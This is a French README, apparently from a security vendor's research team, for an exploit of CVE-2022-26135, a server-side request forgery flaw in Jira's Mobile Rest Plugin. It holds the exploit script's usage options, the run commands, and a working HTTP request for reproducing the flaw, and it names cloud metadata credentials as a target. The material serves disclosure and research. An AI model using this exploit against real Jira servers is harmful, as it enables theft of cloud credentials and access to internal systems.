
Code d'exploitation pour Jira Mobile Rest Plugin SSRF (CVE-2022-26135)
Assetnote cartographie automatiquement vos actifs externes et les surveille pour détecter les changements et les problèmes de sécurité afin de prévenir les violations graves.
Cette recherche a été réalisée par l'équipe de recherche en sécurité d'Assetnote.
Vous pouvez en savoir plus sur notre produit et notre équipe sur https://assetnote.io.
L'article de blog détaillant les étapes de la découverte de cette vulnérabilité se trouve ici.
Jira Core et Jira Service Desk sont vulnérables à une falsification de requête côté serveur après authentification. Dans certains cas, il est possible d'exploiter les inscriptions ouvertes dans Jira Core ou Jira Service Desk pour exploiter cette faille de falsification de requête côté serveur sans disposer d'identifiants connus.
La vulnérabilité SSRF permet aux attaquants d'envoyer des requêtes HTTP en utilisant n'importe quelle méthode HTTP, en-têtes et corps vers des URL arbitraires. Lorsque Jira est déployé dans un environnement cloud, un attaquant peut utiliser cette chaîne d'exploitation pour obtenir des identifiants cloud ou d'autres informations sensibles via l'adresse IP des métadonnées.
Selon l'avis d'Atlassian, veuillez consulter l'article de la base de connaissances suivant pour confirmer si vous utilisez une version logicielle concernée : https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
pip3 install -r requirements.txt
et vous pouvez ensuite utiliser l'exploit avec :
python3 exploit.py
Aide :
usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]
optional arguments:
-h, --help show this help message and exit
--target TARGET i.e. http://re.local:8090
--ssrf SSRF i.e. example.com (no protocol pls)
--mode MODE i.e. manual or automatic - manual mode you need to provide user auth info
--software SOFTWARE i.e. jira or jsd - only needed for manual mode
--username USERNAME i.e. admin - only needed for manual jira mode
--email EMAIL i.e. [email protected] - only needed for manual jira service desk mode
--password PASSWORD i.e. testing123 - only needed for manual mode
Si vous avez déjà des identifiants pour Jira / Jira Service Desk, définissez l'argument --mode sur manual et l'argument --software sur jira ou jsd.
La requête HTTP suivante peut être utilisée pour reproduire ce problème, une fois authentifié auprès de l'instance Jira :
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63
{"requests":[{"method":"GET","location":"@example.com"}]}